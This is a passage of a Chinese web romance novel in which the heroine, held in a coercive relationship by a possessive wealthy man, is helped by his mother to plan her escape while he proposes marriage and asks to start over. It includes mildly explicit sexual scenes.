“一会儿下去逛逛,听静灵说阿序在这儿给你开了一家甜品店?”江静娴慢条斯理品着咖啡,挑眉一笑:“你很会做甜品?” 孟尘萦一板一眼回答:“一点小爱好,肯定比不上真正的甜品师。” 江静娴:“别妄自菲薄,小姑娘能自学出才艺已经很棒了,说明你对这方面很有天赋。” 孟尘萦神色恍惚看她。 江静娴还维持着优雅自信的笑容。 孟尘萦心里一暖,嗯了声:“谢谢阿姨。” 此时阳光正好,天台这边位置极佳,晒着太阳人也变得懒洋洋。 江静娴忽然就不想动了,闲着无聊又问:“你怎么这么白,是吃了什么美白产品吗?” 孟尘萦啊了一声,迷糊道:“没有,我从小就是这肤色。” 江静娴是真羡慕道:“你比我这种从小保养的还要白很多。” “是吗?”她虚虚一笑,又不知道怎么接话。 整个聊天过程基本都是江静娴主动打开话匣子,孟尘萦是很老实的,一问一答。 两人晒了会儿太阳,江静娴才牵着孟尘萦下去逛商场了。 江静娴没有问过孟尘萦的家庭背景,反而拉着她到处逛,是看上什么就给孟尘萦买。 似乎真的是拿她当儿媳妇对待。 孟尘萦起初还不太自在,但好在江静娴内核强大,再尴尬的氛围她也能巧妙化解,这种人自身就很有感染力,谁靠近她都能被同化。 她渐渐放松心情,也开始给江静娴指出意见。 “小孟,这身裙子很适合你。” 江静娴挑了一条长裙。是款法式的公主裙,没有蓬蓬的裙摆,是垂直的面料,质地柔软,裙摆约莫有十几层,薄若蝉翼般层层叠叠,若穿上身定如同身披云朵,清纯柔软。 孟尘萦说:“阿姨,我有一套类似的。” 江静娴诧异,又问:“是阿序找设计师给你订做的?” 她点了点头,江静娴扬唇轻笑:“那你应该很喜欢?” 孟尘萦说喜欢。 谁不喜欢漂亮裙子呢。 江静娴爽快道:“阿姨再给你买一套,女孩子不要嫌裙子多。” “阿姨年轻的时候,家里专门有个衣帽间收集这种小裙子,要不是年纪上来了……” 孟尘萦没忍住笑出声:“可是阿姨很漂亮,而且女生什么年龄都可以穿裙子。” 江静娴摆摆手,“这种小女孩式儿的,多少还是有点难为情。” 随后两人逛到了化妆品区,江静娴趁机摸了一把孟尘萦的脸,“真没化妆啊。” 小脸儿白的,小嘴儿也是红的。 江静娴挑选了一支新上市的口红色号,涂抹到孟尘萦的唇瓣上,满意道:“很适合你,不会过艳,上了唇色也更显精神了。” 孟尘萦看着镜子。 是豆沙偏粉的色调,不会很老气,上了唇瓣后显得人更轻盈了。 的确很好看。 – 约莫傍晚左右,梁嘉序过来接人,江静娴也逛累了,摆摆手把孟尘萦还给他。 回到车上,孟尘萦正在整理裙摆上的灰,忽然感觉身侧灼热的目光一直落在她脸上。 她侧眸望去。 梁嘉序正看着她,手肘撑在椅背上,歪着头,黑衣墨发隐匿在暗处,瞧着有几分痞气。 那眼神看得她莫名其妙,梁嘉序却只笑了笑,“涂口红了?” 孟尘萦嗯了声。 她以前又不是没涂过,有什么稀奇的么? 梁嘉序又把她抱在怀里坐,问她今天玩得开不开心。 她老实回答:“嗯,阿姨很健谈。” 的确没她想象中的那么吓人。 车子一路开往璟兰园。 “你开心就好,我妈大概要在国内留一段时间,你要喜欢跟她玩,随时可以去找她。” 孟尘萦点头。 玩了一天,上车后也有点困了,孟尘萦不知不觉伏他怀里入睡。 等再睁眼醒来,已回到了他们的卧室。 她的衣服已经被梁嘉序解了一半,看着在她身上作乱的那个男人,她吓得瞌睡一下散了。 “你干嘛啊?” 梁嘉序解开她的胸衣暗扣,侧眸瞥她:“给你洗澡,小女孩也不能臭烘烘的睡觉,不是?” 孟尘萦一愣,脸庞微热:“谁臭烘烘了。” 梁嘉序把脸埋在她颈窝,“让我闻闻。” 他粗硬的头发扎着她肌肤,微微刺疼,她吟了几声,手心推搡他脸庞。 梁嘉序直接把她抱进了浴室,用高挺的鼻梁拨开她颈边长发:“很香。” 他的吻已经熟练地,落在她身体上。 这段时间做了太多次,她也很快就有了些反应,战战栗栗地依偎他怀里:“梁嘉序……” 梁嘉序把她放进浴池,按在池边,手圈住她细腰。 “洗个香香的澡,嗯?” 她睁圆眼睛瞪他:“才不是洗澡。” 梁嘉序吻她脖颈,又吻她耳垂,最后吻她的唇瓣,熟稔的撬开她的唇齿,探了进来。 她呼吸逐渐加快,控制不住在他掌心下软成一团。 浴室热气升腾,两道人影交叠。 灯光落在他挺括的背肌上,有几道显眼的抓痕,梁嘉序低声一喘,睁开被水雾染到氤氲的黑眸。 他的视线落在怀里女孩绯红的脸上,缱绻,柔情,且认真缓慢地说:“萦萦,我们结婚吧。” “好吗?” 第48章 第 48 章 涟漪 孟尘萦垂眸, 看向浴池内荡漾的水面。 心里同样也因为梁嘉序这句话有了点小波动,她的确没想过,梁嘉序竟然会想跟她结婚…… 他并不是油嘴滑舌, 把婚姻当儿戏的人,既然提出结婚的请求,那必然是打算实行。 可是怎么办。 她不想跟他结婚。 她不喜欢他。 孟尘萦没回答这个问题。 梁嘉序也并没意外, 他不动声色压下心里的失落,眸色渐深, 如同一团黑雾将她搅进眼里。 她没有回答这个问题。 但装作没听见的态度,已经很明显了。 她不愿意。 梁嘉序搂住她的腰肢往自己怀里按, 肌肤紧贴, 他能感受到她加快的心跳,他的手从水中出来, 一路往上滑。 他抚摸着她的湿发。 “现在不想回答也行。” 他相信,迟早有一天, 她会改变对他的态度。 只要他们一直在一起。 她总会爱上他。 他对她, 有得是耗不尽的耐心- 晨曦通过了落地窗洒入卧室, 孟尘萦翻身醒来,去洗漱后, 站在阳台吹风看院子外的景色。 梁嘉序一早便出门了。 昨晚听他跟助理的谈话内容, 约莫是手头有一个收购案有点棘手, 清早便去公司处理工作。 她醒来的时候已经不见他的身影。 清早的空气带着阳光的味道,很舒服。孟尘萦站着微微出神,感觉心灵都被洗涤了。 风声起,忽然间,她觉得像是闻到了梁嘉序的味道。 有了这个意识后,惊得她拧眉回头。 卧室内空无一人。 梁嘉序还没回。 但她总觉得, 他好像时刻围绕在她左右。 这段时间他们几乎日夜都做几次,做的如此频繁,他翻来覆去地亲吻她的身体,有种她全身都是他味道的错觉。 孟尘萦无聊,心也烦,干脆又下楼去跑步。 跑到后院那,看到小木屋门口睡着一只狗。 她极其惧怕梁嘉序养的这只猎犬,梁嘉序不在她身边时,她根本就不敢靠近,即使梁嘉序说这狗不会随便咬人,她也是害怕的。 孟尘萦本想悄悄溜走。 没想到那只猎犬却健步朝她冲来,她脸色大变,正要拔腿逃跑时—— 猎犬停在她腿边,两只脚扒着她,用脑袋蹭她的小腿。 似乎在撒娇。 孟尘萦难以置信地楞在原地,她没想到,这只相貌凶残的恶犬,竟是在对她撒娇。 撒娇? 孟尘萦手僵在空中,垂眸看向这只猎犬的脸。 硕.大的体型,两排獠牙锋利无比,一双眼睛锐利有神,甚至脸上还有被咬伤的疤痕。 她咽了咽口水,看到猎犬尾巴摇得是越来越欢,它撒娇的样子看久了,竟是有点可爱。 孟尘萦没忍住,伸手轻轻摸了一下它的狗头。 猎犬尾巴摇得更欢了。 她被逗得一笑,蹲下来。 那只猎犬也开始撒开了闹,直接扑到她怀里头撒娇。 尾巴摇得可欢了。 它的爪子似乎按到她的笑穴,她笑得停不下来,扑倒在草坪上打滚。 狗子压在她身上,看着是很壮的狗,但动作却很轻,似乎生怕自己压伤了她。 孟尘萦伸手摸它耳朵,“你怎么忽然对我这么亲近啊?” 猎犬张嘴在哈气,瞧着是在笑。 孟尘萦忍俊不禁,觉得自己好傻,她竟是问狗这个问题,难道还指望狗子回答她吗? “好了,别闹了,我有点累。” 孟成萦摸着狗子的头坐起身,又牵着它回到了它那间屋子里。 梁嘉序对这狗子是真不错啊。 不仅有专属的小别墅,还时刻会放它自由,让它自个儿在后院里头闹腾。 闹了一番,又运动后又出了点汗,孟尘萦回屋去洗漱。 – 约莫午时,梁嘉序回了璟兰园。 用过了午饭后,梁嘉序带孟尘萦出去,把她送到江静娴那。 自从那天见面后,江静娴说自己和孟尘萦很投缘,已经找梁嘉序好几次,让他把人带出来跟她玩。 车子缓慢在道路中行驶。 梁嘉序腿上放着ipad,看似在浏览页面,眼尾余光也在注意着孟尘萦。 他滑了个页面,淡声道:“你今天跟小彩玩了?” 孟尘萦疑惑:“小彩是谁?” 梁嘉序懒洋洋掀眸:“我的狗。” 孟尘萦侧过脸看他,“它叫这个名字啊?” 她都住在璟兰园多久了,才知道那么凶神恶煞的狗,有这样的名字。 梁嘉序凝着她眼里的吃惊,一笑:“它出生那天出现彩虹了,就取的这名儿。” “怎样,是不是很好听?” 瞧他那一脸得意的样子,就知道是他取的名字,孟尘萦没好气地说:“我还以为会有个很帅气的名字呢。” 再不然也是很强悍的名字。 谁能想到那么凶狠的狗,竟然叫小彩。 梁嘉序把ipad随手一抛,再把人捞到自己怀里,“知道它为什么忽然对你这么亲近么?” 孟尘萦垂眸看着自己腰间,他那骨节分明的手。 “不知道。” 她也的确有点好奇。 梁嘉序掌心捧着她脸抬起来,吻落至她唇瓣。 “它在你身上闻到了我的味道。” 低沉声音钻进她耳廓:“你这段时间吃我的东西吃得太多,都融入到你的气味里了。” 孟尘萦脸一热,怔圆眼睛瞪他。 梁嘉序握着她的手指亲吻:“同样,我的身上也都是你的味道。” 他把她摁在胸膛前,“闻闻?” 黑色衬衫的衣领被她脸庞蹭乱,露出大片胸膛,孟尘萦的唇瓣被迫贴在他胸前,他身上的冷冽木质香味从衣领不断溢出来,全部扑在她脸上。 她一急,往后退。 偏生梁嘉序还按住她的后脑勺不准她跑。 “是不是你的味道。” 孟尘萦狡辩,“是吗?没闻到,可能是别的女人身上的香味吧。” 梁嘉序垂眸笑她,“我有没有别的女人你不知道啊?都被你吃成这样了。” 孟尘萦:“你可以去找别的女人,我不介意。” 梁嘉序脸色微冷,淡淡笑:“就给你一个人吃,好不好?” 孟尘萦手指按在他胸肌上,指尖泛白。 闹了一通,头发都乱了。 她含着雾蒙蒙的眸子:“梁嘉序,你就这么饥渴?” 他恶劣地挑唇,“是啊,在车上又想艹你了。” 她手指一抖。 眼角余光往前看去,好在司机很识趣,早就拉上了挡板。 梁嘉序吻住她唇瓣,“真不想让你出去,跟我妈去逛街都不行。” 他大概是病得不轻,恨不得跟她时刻相连。 孟尘萦仰着脖子,一点点被迫咽下他嘴里的味道。 吻逐渐变得离谱。 车子什么时候到目的地,停下了都没察觉。 直到一阵不耐烦的敲窗声叩叩响—— 梁嘉序掀眸,眼里的欲褪去,神色骤冷。 兴致被打断。 孟尘萦一慌,往他怀里钻。 他松开她,给她整理好凌乱的衣服,确定没什么问题后,才降下车窗。 窗外,江静娴朝里面的人挑眉:“都到多久了,还不下车?”- 这次江静娴没带孟尘萦去购物,带她去了一家她多年好友开的健身俱乐部,被拉下车后,孟尘萦还摸不着头脑。 “阿姨,是不是来错地方了?” 她还是第一次知道,婆媳出来玩竟然是来健身的。 江静娴按下电梯按键,牵她进去。 电梯门关上,她拉着孟尘萦照镜子。 “看到了什么?” 孟尘萦望着镜子内的二人:“我们俩。” 江静娴笑着睨她:“小姑娘,你身子骨太弱了,要健健身懂吗?” “平时阿序不带你健身吗?他很爱健身,每天都要跑步的。” 孟尘萦摇头,“带了……” 好多次梁嘉序强行把她从床上拽起来去健身,要么带她跑步,或者是教她用些运动器材,不然就是带她打网球。 起初她也试了几次,但每次隔天起床,身子骨都快散架了。 他的运动量她实在有点吃不消。 但也是因为梁嘉序的原因,导致她现在也习惯每天在后院跑一会儿步了。 江静娴对着镜子捏她下颌,眼神瞥下来:“你气色是不错的,但现在是年轻有胶原蛋白在,女孩还是要多多健身,体力提升起来。” 孟尘萦乖巧地喔了声。 江静娴的视线被她脖子的吻痕所吸引,没忍住暗骂了几句梁嘉序,“阿姨先带你入门,改明儿让阿序在家再带你玩。” 健身俱乐部的老板瞧着也有五十好几了,但身段挺拔,肌肉也刚刚好。 江静娴把孟尘萦带去认人。 老板扫了一眼,说她生得白白软软,一脸乖乖女的模样,还笑说这小姑娘的骨头怕都是软的。 孟尘萦一脸正色反驳:“才不是。” 老板被她严肃的样子逗得捧腹大笑。 江静娴修长的手臂搭在孟尘萦的肩膀上给她撑面子:“这我儿媳妇,别逗她了,你挑点儿简单的课教教她,不用过分练,先让她习惯一下。” 老板比了个ok。 整个下午孟尘萦都待在健身房,江静娴也以身作则,换了衣服跟她一道健身。 一开始孟尘萦有点儿吃不消,但几个小时下来,渐渐有点迷上流汗的感觉了。 健身完了再去洗澡,换好了衣服。 梁嘉序也正好过来接人了。 江静娴调侃道:“我儿子倒是掐上点儿了。” 梁嘉序目光一扫孟尘萦泛红的脸色,哂笑:“早就说带你健身,是谁每天都爬不起来?” 孟尘萦不想理他,因为江静娴在,有些话她也不能说。 她每天爬不起来是为什么? 江静娴正好接了个电话,摆摆手:“行了,把人接走吧。” 离开健身俱乐部,梁嘉序还一错不错盯着孟尘萦的脸看,她气色是好了许多。 就是嘴唇瞧着有点儿干。 “今天开心吗?” 孟尘萦点头。 梁嘉序拿了她的水温杯帮她打开,递给她:“你要是喜欢上健身了,我可以慢慢教你,我妈给你介绍的那家俱乐部老板下手有点儿没轻没重。” 孟尘萦接过水温杯,慢吞吞灌了几口,又点了点头。 梁嘉序又问她:“你还喜欢什么?” 孟尘萦把脸撇向车窗,情绪淡淡说没什么喜欢的。 梁嘉序扯了扯唇。 …… 涟云。 晚上七点是蓝家吃晚饭的时间,整个客厅饭菜香四溢。蓝芷躲在被窝里偷看漫画书,正看到精彩部分,听到敲门声,嚷嚷道:“一会就出来。” 蓝建平又催促:“芷芷,快出来吃饭了。” “来了,马上。” “一分钟内再不出来,爸爸就把你那些漫画书全部都卖掉!” 很快,屋内传来噼里啪啦的声响,没一会,蓝芷笔直地站在门口,连忙保证道:“爸,我再也不看漫画书了,你千万别跟妈妈说,不然让她知道,她才会真把我漫画书给卖掉了!” 蓝建平看穿女儿顽劣的性子,作势敲了敲她脑门,“都快高二了,能不能用点心读书?你怎么半点都没学到你姐姐那么乖巧的性子。” 蓝芷撇了撇嘴,“每个女孩子性格都不同的,姐姐乖,我活泼还不行啊?有这样两个漂亮女儿你就知足吧。” 蓝建平笑道:“行了,你妈饭都做好了。” 蓝芷闻着饭菜香飞奔到餐厅,“妈妈,今天是不是有我最爱吃的猪蹄闷黄豆和香辣排骨啊?” 蓝建平声音跟在后面:“哪个好家庭每天都有猪蹄排骨给你吃?” 许乐芳从厨房出来,笑道:“只有排骨没有猪蹄,不过,芷芷要是真那么想吃,妈妈明天就买了做给你吃,但你要保证新学期考试要拿好成绩。” 蓝芷一屁股坐下来,噘着嘴不情愿应了声。 这时,有人敲响了房门。 蓝芷皱眉:“怪了,这个时间谁会来啊?我去开门!” 趁蓝芷去开门间隙,蓝建平边放筷子,边说:“萦萦是不是又好久没跟你联系了?” 许乐芳点头。 她记得,几个月前给她父亲办丧事后,她跟女儿后来闹得有点不愉快。 从那之后,萦萦就没给她发过消息了。 蓝建平压低声音:“你没问问,她跟老周家那小子究竟怎么回事吗?初皓那孩子在京市有份好工作,人也长得好,对她又温柔,怎么忽然就分手了?咱们两家这么近,附近的人都知道我们家女儿跟老周家儿子要结婚了,突然就分手,分手原因什么也不说,老周家有人在外面乱说是萦萦甩了初皓。” 街坊邻居都很熟了,这种八卦没两天就传的整个涟云镇的人都知道了。 许乐芳说不知道,“我什么也不清楚,萦萦什么都不跟我说。” 蓝建平脸色有点不好看:“她不跟你这个做母亲的说,那她父亲,也没联系?” 提起孟华淳,许乐芳没什么情绪:“放心,这个我倒是清楚得很,她跟她爸联系也不多,我了解萦萦的性子,只要是她自己想藏起来的事,很难有人能从她嘴里撬出想要的答案。” 孩子骨子里也倔得很。这些年她爸爸打过来的钱,除了学习上需要之外,她都没怎么动过。 蓝建平欲言又止,又见蓝芷去开个门这么久,皱眉:“谁来了,怎么……” 他走到门口,见蓝芷僵还硬在原地,望着前方。 “这位先生,您是……” 许乐芳也跟了出来,看到门口的陌生人,面露疑惑。 眼前男人着笔挺的深色西装,个子高挑挺括,面容冷峻五官深邃,矜贵的气质让人不敢直视他的眼睛。 不像是会出现在涟云这种小地方的人。 梁嘉序目光落在许乐芳身上,礼貌淡笑道:“阿姨您好,我是令嫒孟尘萦的男朋友,请问,我方便进去坐坐吗?”- 身旁男人过高的身量,让许乐芳站在他身旁都有些拘谨:“萦萦没跟你一起回来吗?” 梁嘉序说:“她挺忙的。” 许乐芳喔了声,把梁嘉序送到孟尘萦的房间门口,“这间就是萦萦的房间了,她的东西家里没人碰的,去京市之前怎样就是怎样。” 梁嘉序眼神往屋内一瞥,“阿姨,我进屋找到她的东西就离开,不会打扰你们。” 许乐芳连忙道:“不打扰不打扰,对了,梁先生吃过饭了吗?我们刚准备吃,梁先生要一起吗?” 梁嘉序目光疏离,淡笑:“谢了,但我一会儿还要赶回京市。” 意思就是不吃了。 眼前这个男人分明在对她笑,但笑意不达眼底,看他眼睛,都莫名让她都觉得小腿打颤,“那梁先生你忙。” 梁嘉序点头,径直进入孟尘萦的屋子。 卧室不大不小,摆设很简单,角落里放的一张单人床,床铺整洁。 一眼看完的单人床上面还摆放着一只有点儿年份的公熊玩偶。 梁嘉序神色微怔。 莫名觉得这个公熊玩偶很眼熟,很快,他忽然想到了孟尘萦出租屋床上摆放的那个母熊玩偶。 显然,这是一对情侣熊玩偶。 他拿起这公熊,手指骨节轻轻掐了几下。 这时门口传来蓝芷尖锐的声音:“这是初皓哥哥送给我姐的生日礼物,一只公的她留在家里,一只母的她带去京市了。” 梁嘉序侧眸看过去。 蓝芷继续介绍道:“我姐说,带一只走,留下一只是希望过年回家住的时候,还可以看到初皓哥哥送给她的娃娃。” 梁嘉序嗤笑,随后,当着蓝芷的面直接把那娃娃丢进了垃圾桶里。 蓝芷愣住,不爽道:“你,你怎么能丢我姐的东西啊?” 梁嘉序没理她,直接坐在书桌前,开始翻抽屉。 蓝芷气得不行,追到梁嘉序身后问:“你到底是不是我姐的男朋友?我姐怎么会跟初皓哥哥分手,你来我家到底要干什么啊?” 梁嘉序翻开最底下那层抽屉,发现最里面有个年份已久的密码本。 蓝芷急着要抢,他直接掌入手中,淡声问:“密码知道吗?” 蓝芷抬头,面前男人居高临下望着她,漆黑的眼底像看不见的深渊,只对视一眼她就被他的压迫感吓到,不知道怎么答话。 梁嘉序没等她回应,不耐烦道:“行了,你出去,把门带上,我带点你姐的东西回去。” 梁嘉序的态度差点把蓝芷气哭,她敢怒不敢言,气冲冲小跑出去。 小小的卧室里有一股淡淡的馨香,但,这不是孟尘萦身上的香味。 他扫了眼桌上那罐已经干涸的芬香剂,手一推,又丢进了垃圾桶。 书桌几个抽屉都翻开看了,基本都是学生时期的试卷和书本,他随手翻开看了几页,字迹很工整娟秀。 长指轻轻拂过有些年份的字迹。 他眼前似乎浮现了,小小年纪的孟尘萦坐书桌前补作业的模样。 梁嘉序勾唇笑了笑,把试卷收好。 书桌上没有相册,一张她自己的照片都没有,只摆了一排书,基本都是学习资料,连任何课外乐趣书都没。 梁嘉序抽出其中一本,翻开。 第一页就看到了周初皓的大名。 这本是周初皓的笔记。 约莫是他借给孟尘萦,留在她这了。 他脸一沉,下一秒,那本笔记也被丢进了垃圾桶里。 除了刚才在抽屉里翻到的密码笔记本,几乎没有什么跟孟尘萦私人牵扯到关系的,就连小时候的照片也没找到。 梁嘉序把那本密码本塞进口袋,开门,走出去。 一家人正在餐厅吃饭,见梁嘉序出来,都觉得哪里特不自在。 许乐芳站起来问:“梁先生要回去了?” 梁嘉序走过来,颇有礼貌道:“抱歉,打扰到你们用饭了,萦萦让我带回去的东西也找到了,就不好再麻烦阿姨了。” 话毕,他垂眸扫了一眼桌上的几道菜。 没一个孟尘萦爱吃的菜。 他又看了眼蓝建平。 蓝建平面对梁嘉序有点紧张,额头都紧张得要出汗了,尴尬地笑一笑- 天蒙蒙亮,孟尘萦睡梦中翻了个身,又很快被男人的手臂捞了过去,她尚在睡眠中,迷迷糊糊嗯了声。 约莫几分钟后,孟尘萦后知后觉睁开眼,看向身旁的男人。 昨晚是她这段时间,唯一一次没有跟梁嘉序共寝。 没想到她早上睁开眼,他竟是就回来了,她惊讶问:“你什么时候回来的?” 梁嘉序没睁眼,懒洋洋嗯了声:“凌晨两点。” 孟尘萦:“喔,洗澡了么?” 梁嘉序看她,眼尾衔着暧.昧的笑:“你闻闻不就知道了?” 她才不想闻,自己往下一滑,钻进被窝里,换了个方向背对梁嘉序,又继续睡去。 梁嘉序伸手搂住她腰,胸膛贴她后背:“想去游乐园玩吗?” 孟尘萦缓缓睁眼,眼里的困意,不动声色散去。 但等了半晌,她也没回答。 梁嘉序没在意她的态度,轻缓沙哑的声音缓缓落至她耳畔:“过几天带你去玩,行么?” 孟尘萦瞬间被这句话触碰到内心最深处的波动,但那点儿涟漪,稍纵即逝。 她嗯了声:“好。” 究竟是误打误撞还是别的原因?为什么梁嘉序会知道,她最想去游乐园玩。 第49章 第 49 章 逃离 没两天梁嘉序又前往海城处理工作, 期间也把孟尘萦带去,这段时间,他无论去哪儿出差, 亦或是当天有很重要的会议要在公司久留,基本都会把她带在身边。 再跟江静娴见面已是四天后。 下午梁嘉序把孟尘萦送到江静娴那便离开了,孟尘萦过来时, 江静娴还在天台晒太阳打瞌睡。 “阿姨?” 孟尘萦坐在对面等了约莫十分钟,才主动喊醒江静娴。 江静娴打了一个哈欠, 摘下墨镜,笑道:“什么时候来的?怎么不喊醒我。” 孟尘萦说自己来的不久。 小姑娘还怪贴心的, 江静娴也没戳破, 笑了笑,便问她怎么过来的。 孟尘萦伸手接过江静娴递给她的果汁, 喝了一口,淡笑说:“阿序送我来的, 他没上来。” 江静娴盯着她水盈盈的眸, 笑得意味深长。 孟尘萦本以为果汁喝完就该陪江静娴去购物了, 但江静娴却一直没动,索性她便无聊地欣赏天台的景色。 刚想说今天天气挺好, 没想江静娴率先开口, 打破沉默:“过几天阿姨会把你送去伦敦, 你先做好心理准备。” 孟尘萦一愣,嘴里那口果汁还卡在喉咙里,她慢吞吞咽了下去,心里微凉,随口一问:“是阿序要回伦敦了吗?” 除了梁嘉序要回伦敦了,她想不明白江静娴干嘛要把她送走。 江静娴正色道:“不, 只有你一个人。” 孟尘萦面露疑惑:“为什么?” 江静娴:“阿姨一直没告诉你,你父亲还在京市没有回去,他回国后就联络我了,你爸爸他很担心你。” 江静娴看着面前女孩渐白的面容,眼神流露关切:“小孟,关于我儿子强迫你跟他在一起的那些混账事,阿姨也很抱歉,阿姨没办法改变他,现在唯一能做的就是送你离开。” 孟尘萦却没抱什么希望,坦言说:“阿姨知道我之前跑过一次吗?可是才一个月就被他找到了。” 梁嘉序的手段她见识过,当初舒锦为她计划的那么好,她也跑到一个对他来说这辈子都不会知道的小地方,可是,他还是很快就找到了她。 这次再跑,找到她也不过就是时间问题罢了。 一个月,两个月?都有可能。 江静娴略微意外,轻启朱唇:“这件事阿姨不太清楚,但阿姨绝对有办法帮你,让他再也找不到你,你信阿姨的话,愿意让阿姨帮助你吗?” 孟尘萦心中一颤,怔怔地,望着面前的中年女人。 眼前的人是梁嘉序的亲生母亲。 她能信任吗? 她不明白,作为梁嘉序的亲生母亲为什么要帮助她。 但她也的确心动了。 江静娴的能力有多强大,她虽然没亲眼见识过,但她相信,能说出这句话的江静娴就是有绝对的把握。 孟尘萦点头说愿意,又问出心中的疑惑:“阿姨,我爸爸是怎么认识您的?” “阿姨跟你爸爸不认识,但你爸爸的妻子跟我是熟人。”- 孟尘萦的甜品店已经开业有一阵子了,只有开业那天梁嘉序带她去了一趟,后来基本都不会让她亲自去店里工作,只是请了一批员工,她就坐享其成当老板。 她也没打算跟他争取什么。 毕竟这个店从来就不是她想开的,是梁嘉序想要送给她,她身上无论什么东西,都是他强行要送的,她没有拒绝的可能。 就连她耳朵上,这对价值不菲的耳坠也是。 孟尘萦照着镜子摘下这对耳坠,将取下来的耳坠装进首饰盒内。 首饰盒里,还有一只耳钻,孤零零的放在原地。 她想起之前因为梁巷明的事,她弄掉过一只耳钻,那只耳钻梁嘉序说没有多贵重,也没找她讨要赔偿,态度很无所谓说是掉了就掉了。 但她总觉得,弄丢了别人的东西不太好,后来她也特地回到那间病房去找,却是一无所获。 她可能过两天就要离开了,但梁嘉序送给她的那只耳钻还没找到。 她想了想,转而又开解自己,梁嘉序强迫她这么久,又这么欺负她,她只是弄丢一颗耳钻而已,也不算欠他的吧? 这样想了后她也很快说服自己,不再在意那颗掉了的耳钻了。 孟尘萦正坐在梳妆台前梳头发,放在桌子上的手机亮了,是江静娴来电。 梁嘉序很爱查她手机跟谁每天聊什么,她把这事跟江静娴说了后,阿姨就会打电话跟她联系。 因为江静娴时常邀请孟尘萦出来逛街,梁嘉序也没多想,对他妈妈打来的电话基本都不会过问。 孟尘萦按了接听:“喂,阿姨。” 江静娴问:“阿序在你身边吗?” 孟尘萦摇头,“他在浴室。” 江静娴开门见山道:“小孟,阿姨这边都安排好了,你明儿抽个时间来阿姨这边。” “明天?”孟尘萦一愣,“这么快吗?” “你爸爸那边急着见你,他已经帮你安排好了,你跟阿姨出来就行。就像平时一样,阿序不会生疑的。” 孟尘萦忽然想起来,说道:“阿姨,阿序晚上还跟我说,明天要带我去游乐园玩。” 江静娴被吓到,很意外自己儿子竟还会去游乐园这种地方约会,轻抬下颌:“推了,你难道还想在他眼皮子底下离开?阿姨再有办法都不敢保证能做到。” 孟尘萦思忖道:“我试试吧,推不掉的话明天我想办法。” 刚挂断电话,梁嘉序长指拨着半干不湿的墨发发从浴室走出,懒洋洋问:“谁打来的?” “阿姨。” 她像往常那样自然回答,梁嘉序也再没追问。 孟尘萦刚密谋了要逃离梁嘉序身边的事,他就立刻出现了,她难免有点心虚。 看着镜子里朝她走近的男人,她下意识咽了咽口水,眼神忽飘。 梁嘉序刚洗完澡,半裸,上身浮了一层薄薄的水汽,肩颈那还湿漉漉的,锁骨上似沁着水珠。 其他男人洗澡后是怎样的,孟尘萦不大了解,但梁嘉序是真的不爱穿上衣,而且身上的水也总是擦不干净。 他胸膛上那串水珠,滑至紧致的腹肌线条,再顺着往下,经过青筋偾张的小腹,水珠从那直接没入裤腰间,松紧带松松垮垮没系,垂挂着。 随着走动,松紧带轻微摇晃。 她红着脸,不自在地避开视线。 梁嘉序如往常般,过来捞住她腰,抱回床上坐着,垂眸睨她脸庞。 她也刚洗了澡出来,肌肤粉嫩,乌黑的长发似绸缎般,摸着格外舒适。 梁嘉序目光钉在她脸上凝了片刻,便低下脸吻住她唇瓣。 孟尘萦仰着脸,手心撑在他胸膛那,指尖一点点被摁地泛白,眼看他要进行下一步了,她忽然想什么,奋力挣扎开,“阿序。” “嗯?”梁嘉序垂眸,眼里有几分迷乱。 她知道他是吻到来感觉了,但眼下她还有更重要的话想说。 她靠在他臂弯里,装作一副很自然的样子跟他说:“明天去游乐园的事能不能先取消啊,阿姨刚打电话来让我明天陪她去逛街。” 梁嘉序黑眸微眯:“谁在前?” “什么?” 梁嘉序抬起她下颌,目光强势挤进她眼里:“你先答应跟我去游乐园,我妈是刚打电话来的,谁在前,你要分清楚。” 孟尘萦面露难色。从他这句话里听出来了,她没有拒绝的可能。 “孟尘萦,”他盯着她水盈盈的眸:“你要弄清楚,我妈只是我们之间的外人,任何人都不可以插进我们之间,懂么?” 孟尘萦抿了抿唇角,试图跟他好好商量:“可是……” 她话尚未说完,梁嘉序忽地放轻语调:“孟尘萦,我们重新开始。” 孟尘萦茫然问:“什么重新开始?” 他们不一直都在他的强迫下进行着吗? 梁嘉序按住她的腰往怀里贴,又换了个坐姿让她舒服点儿,怀里的女孩还在眼巴巴等他的下文。 “这段时间我想了许多。” 他语气少见的,似有几分妥协:“你在我身边不开心的样子,这不是我想要的。” 孟尘萦没说话,默默看他说。 “但,让我放你走,这也不可能。” 梁嘉序黑眸微沉,他无法再承受一次,她离开他身边的痛苦。 他垂眸看着怀里的女孩。 她仰着脸,也静静看着他,明亮的眼睛里倒映出他的面容,她是乖巧的,听话的,但眼前的她,再也没有初见时那般鲜活的一面。 多好的女孩,他想得到她,想把她困在他的园子里永远留在他身边,但他也不想真的这样折了她,让她失去真正能笑出来的能力。 “孟尘萦,我们重新开始,朝你想要的方向展开一段正常的恋爱关系,行么?” “这次我不会再欺负你,相信我。” 他没这样恳求过。 他话音落下后,孟尘萦没有立刻回答。 她垂下眼睫,遮住眼底的情绪,在深思熟虑着他说出的这段话。 也就在三分钟前,她得到了一张能彻底离开梁嘉序身边的船票。 而梁嘉序也在这一刻,对她发出想跟她重新在一起的请求。 两道选择题都摆在她的面前。 选择什么,她其实没有任何犹豫。 能有机会离开梁嘉序的身边,她只想即刻逃离。 她不喜欢梁嘉序,一点都不喜欢。 他总是强迫她,欺压她,不顾她的反抗掠夺她,做出伤害她的那些事的人是他。 她不可能因为他毫无保留的偏爱,就把他做下的事当做没发生。 她恨死他了,真的。 她明天就要离开梁嘉序了。 孟尘萦现在满脑子只有这个喜悦的消息。 她抬起头,又看向梁嘉序。 他在等她回答。 梁嘉序唇边噙着笑,眉眼张扬锋芒,总是掌控全局。 他从来都是把她掌握在他的手里,笃定她,永远逃不出他的手掌心。 而这次,她想从他手掌心溜走。 让他清楚知道,勉强夺到的,始终不属于他。 孟尘萦眼眸凝着他,缓缓点头。 梁嘉序眸色闪烁,黑色里释放出亮光出来:“不骗我?” 孟尘萦说嗯,不骗你- 今儿正是周末,还是这个暑假里气温最舒适的一天,有不少家长特地挑了个好天气带孩子来游乐园玩耍,除了美满的家庭之外,还有许多情侣,大多都是青春洋溢的学生情侣。 孟尘萦怕晒,外面搭了件防晒的淡绿色薄衫,内搭杏色的法式小裙子,穿小白鞋,长发挽起来扎了个马尾,整体风格偏轻盈,与游乐园的氛围极其适配。 也让她有种,自己是回到高中时期的感觉。 她又侧眸看向牵着她的梁嘉序。 